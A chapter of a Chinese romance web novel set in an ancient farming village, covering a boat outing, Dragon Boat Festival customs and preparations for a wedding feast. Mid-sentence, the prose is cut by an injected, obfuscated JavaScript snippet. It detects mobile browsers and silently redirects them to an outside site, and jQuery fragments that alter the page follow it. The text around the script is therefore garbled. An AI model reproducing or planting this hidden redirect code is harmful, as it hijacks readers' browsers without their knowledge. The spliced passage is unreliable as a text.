35. 青梅竹马

作品:《古代农家种田养生日常

    恰在此时,两条船行至并排,另一船的人也清清楚楚听到了那句“青梅竹马”。


    卫吉祥和卫吉勇不明白这个称呼里掩藏着的其他意味,不过他们也没反驳,虽然楚恒很早就离了上溪村,今年春天才回来,可他们这一波岁数相差不大的,应当勉强也能用一用这个称呼。


    而楚恒在听到卫福安说他与卫昭是“青梅竹马”时,心中竟觉得有一丝甜意划过。


    如果当年他们家没有离开上溪村,他与卫昭应当会是名副其实的“青梅竹马”。


    “郎骑竹马来,绕床弄青梅。”


    “同居长干里,两小无嫌猜。”


    这个称呼用在他与她的身上,只是听着,就已觉得如此美好。


    可他与她,好似人生的每一处都在错过。


    察觉到他的目光,卫昭望了过去,只觉得这人好似又不开心了。好不容易将人养得爱笑了些,她可不愿意见他又回到从前的样子。


    卫昭探着身子,捧着一把刚剥好的莲子递了过去,“快尝尝,可甜了。”


    她笑意盈盈,驱散了楚恒心中倏忽而至的伤感,他把莲子接了过来,不赞同地说道:“船上不安全,快坐好。”


    卫昭听话地坐了回去,李清芝偷偷和李清荷嘀咕:“他这个样子可真像个夫子。”


    看起来又凶又严厉的。


    卫福安耳朵尖,听到了这句话,跟着附和了一句:“对,他脾气不好,平日里也不见个笑脸。”


    楚恒:“……”说坏话不能背着本人吗?他就在旁边,听得到。


    李清芝平日最怵这种人,闻言心里的那点小心思眨眼间什么都不剩了,还拉着卫福安说起了她小时候最怕的那位夫子,她学习不好,总挨罚。


    卫福安眨眨眼,这不就是当年的她吗?


    读个小学堂整日想着逃学,被夫子到处追。


    有了共同话题,几人的距离更是拉近了不少,卫昭和卫福安掌握着卫吉祥从小到大的所有糗事,跟李清荷说了一路,急得卫吉祥恨不得从另一条船上跳过来。


    最终在李清荷笑得眉眼弯弯的模样下歇了心思。


    二人时不时对视一眼,一个笑的憨傻,一个面带羞涩,其余几人私下偷笑不已。


    待渔船靠岸,几人又去了渔船老伯说的地方买了些食材,磨磨蹭蹭的,等到了不得不分开的时候,这才踏上归途。


    卫昭和卫福安生啃着甜滋滋的藕尖,时不时模仿一下卫吉祥在李清荷面前的表现,等把人惹急了,又开始模仿起了李清荷的神态举止,来来回回,乐此不疲,偏卫吉祥想多知道些李清荷的事情,拿她们一点办法都没有。


    回到家中,卫昭便把现摘的莲子和买来的藕尖都炒了。


    鲜嫩清香,极其下饭。


    楚恒也被她跟樊桂花留了下来,他一个人回去也不值当再开火做饭了。


    她跟奶奶说着在外面发生的趣事,楚恒时不时补充一些卫吉祥在另一条船上说的话,二人一唱一和,逗得樊桂花连眼泪都笑了出来。


    等要离开时,樊桂花叫住楚恒,让卫昭回屋去取东西,她对楚恒解释道:“过两日是端午,咱们这边兴系五彩丝,我给你们这些孩子都编了一条。”


    五彩丝,又叫长命缕,端午时节系在手腕或者脚踝上,寓意祈求吉祥长寿。


    卫昭从屋里拿了两条五彩丝出来,走到楚恒身边,看向他,说道:“楚恒哥,你伸手,我给你系上。”


    她倒没有旁的心思,只是觉得一个人单手不好系。


    楚恒抬起手,卫昭贴近他,那温热的呼吸好似也打在了他的手腕上,她指尖带来的若有似无的触感,更是撩动着他的心弦。


    见卫昭往后退,他忽的脱口而出:“我也给你系上吧。”


    说完,又觉得有些不妥,他下意识看向樊桂花,却见花奶奶早就进了厦下。


    一截莹白的手腕伸到他的面前。卫昭的肤色其实是天生偏白,却因为日常要做的活计太多,露在外面的肌肤变得有些暗黄,楚恒唯有在她于灶台前忙碌时,才可窥见撸起的袖子掩下的那一抹白。


    他接过卫昭另一只手里的五彩丝,面色十分郑重地给她系上。


    他在心中祈愿:


    惟愿她,长命百岁,岁岁安康。


    而卫昭看着他专注的眉眼,忽然觉得,他的眼睛真好看。


    樊桂花从厦下出来,手里拿了一捆艾草和一捆兰草。


    “挂艾草、沐兰汤,一为驱邪祟,二为除晦气,你拿回家记得用。”


    楚恒接过来,应道:“好,我回去就弄。”


    回到家中,他将艾草挂到了门上,又煮了许多的水,将兰草放进浴桶里泡着。


    除晦驱邪,吉祥长寿。


    父母离世后,他恨苍天不公,恨神灵不明,苍茫天地间,他只信自己。如今,他却怀着一丝渺茫的希望祈愿。


    他想长命百岁,护她岁岁年年。


    端午佳节如约而至,卫昭邀着楚恒和卫吉祥、卫吉勇、卫福安一起包粽子。


    他们这地处北方,粽子以甜口为主,用的是黍米,包裹的内馅也多是红枣和豆沙。


    包粽子多用芦苇叶,卫昭还专门采了些荷叶回来,荷叶包出来的粽子自带一种清香。


    几家人一起吃,包的便不少。


    卫吉祥还特地请卫昭多包了李家人的份,食材归他出。


    面对几人打趣的目光,他这次却是泰然的很。


    “笑就笑呗,反正再过些日子我就要成亲了,你们一个个的光棍,我就当你们是在羡慕我。”


    一句话,扎了不知道多少人的心。


    卫福安打头,几人摁住他就揍,就连平日里喜欢坐山观虎斗的楚恒也偷偷踩了他好几脚。


    后来,他是一瘸一拐地抱着一兜粽子和一罐子泡藕尖出的家门。


    泡藕尖是卫昭做的,上次出去游玩将人馋到了,这次既然卫吉祥要去送节礼,她便把自己泡好的藕尖匀了一小罐出来,请李清荷尝尝。


    端午一过,两家人便开始忙碌起来了,在胡娟的指挥下,一群人忙得团团转。


    大扫除,挂红绸,摆天地桌,还有筹备各色的干果和食材。


    楚恒特地要的多籽西瓜也到了,卫昭拉着他和卫福安每日不停地炒西瓜子。切瓜、取籽、清洗、晾晒、炒制,卫昭第一次觉得,这西瓜子也不是非得要吃的。


    平日里的西瓜子都是用盐和香料来炒,卫昭总觉得口味有些单


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991323|176659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    调,找了个清晨上山,采了不少野果,拿乌梅同西瓜子一起煮了,又用陶窑烘干,吃起来带着乌梅的酸甜,一出锅就被几人磕了一下午。


    躲在繁盛的石榴树的阴凉下,泡一杯花茶,磕着香甜的西瓜子,偶尔抬头专注地数一数今年开了多少朵石榴花。忙忙碌碌中,偷得浮生半日闲,这时光,当真是惬意。


    而成亲之日也仿佛眨眼间便到了。


    成亲前一日要提前准备各种食材,还要去亲戚邻里那里借些锅碗瓢盆,再算好人口,借几张八仙桌摆在院子里。


    根本没个打闲的时候。


    胡娟专门请了两个做席面的妇人负责做菜,也有亲戚邻里间主动过来相助,卫昭也来帮忙。


    儿子老大不小了,好不容易成亲,娶的儿媳妇家里人也都看中,家中也不是那揭不开锅的人家,胡娟自然想把席面办的体面些,特地从卫三河那订了不少肉,其中最贵的要数那几个大肘子。


    这肘子交给别人她不放心,拉着卫昭细细交代:“昭昭你来帮帮忙,提前把红烧肘子做好,明天席面只要这一道大菜做好了,那伯母的心里就稳了。”


    就红烧肘子这一道菜上桌,那绝对是在十里八乡绝不跌份了,再加上卫吉祥之前要的炉焙鸡,明日的婚礼席面指定能让人夸出一朵花来。


    吃的好了,说的话肯定也更好听,不管信不信这个,大喜日子的,就图个吉利。


    做红烧肘子对卫昭来说并不难,就是时间太长,想要炖的软烂,需要两个时辰,再加上焯水、刮毛、熬酱汁,卫昭从厨房出来时,天都黑了。


    楚恒坐在旁边烧火,硬是陪了她一整天。


    他俩占着灶房,其他来帮忙的妇人则在院外靠着墙另搭了一个棚子,支起了灶台和案板。


    卫吉祥家院里院外进进出出的都是人,探头便能瞅见灶房里的两个人。


    有别的村里来的人,不认识楚恒,便同身边人打听,一听这人是个读书人,只觉得羡慕,再一听这人爹娘都没了,又升起一股感慨。


    “真是可惜了。”


    旁边一名被胡娟请来的做席面的妇人闻言撇嘴,“可惜什么?”


    偏另一人脑子直,没听出她话语里那不屑的意味,接话道:“可惜他年纪轻轻,还这么有本事,结果老天爷不开眼。”


    那撇嘴的妇人,人称李嫂子,一听这话就更不乐意了,哼了一声嘀咕道:“自己活的好好的,爹娘都被克死了,别又是上溪村里的一个天煞孤星。”


    她身旁那人伸手就去堵她的嘴:“你说什么呢?!”


    倒霉催的,她就是农忙完了出来接席面赚点钱贴补家用,怎么生生跟这么个煞星撞到一起了!


    “干什么?干什么?”李嫂子挡住她伸过来捂她嘴的爪子,又是剥葱姜蒜,又是切各类菜的,这手上的味道根本不能闻,她下意识抿了下嘴,一股子味直冲得她想呕,一时间气急了,也忘了控制音量,叫道:“我哪儿说错了?那不就是个克死爹娘的天煞孤星吗?一家子死的就剩一老一小,擎等着被人吃绝户吧。”


    那声音高的,一下便传到了一墙之隔的灶房里。


    卫昭正切着姜的手猛地顿住,被那句话刺得心都跟着颤了颤,眼前一阵发黑。